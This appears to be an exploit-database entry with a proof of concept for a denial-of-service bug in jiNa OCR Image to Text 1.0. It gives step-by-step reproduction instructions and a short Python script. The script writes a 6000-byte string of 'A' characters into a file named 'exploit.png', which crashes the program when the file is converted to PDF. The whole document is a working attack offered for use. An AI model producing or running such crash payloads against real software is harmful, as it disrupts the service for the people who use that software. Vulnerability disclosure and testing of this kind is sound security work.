jiNa OCR Image to Text 1.0 – Denial of Service (PoC)
# Exploit Title: jiNa OCR Image to Text 1.0 - Denial of Service (PoC) # Author: Gionathan "John" Reale # Discovey Date: 2018-09-10 # Software Link: http://www.convertimagetotext.net/downloadsoftware.php # Tested Version: 1.0 # Tested on OS: Windows 7 32-bit # Steps to Reproduce: Run the python exploit script, it will create a new # file with the name "exploit.png". # Now start the program. Now when you are inside of the program attempt to convert the file "exploit.png" to pdf. # Now wait and you will see a crash! #!/usr/bin/python buffer = "A" * 6000 payload = buffer try: f=open("exploit.png","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created" |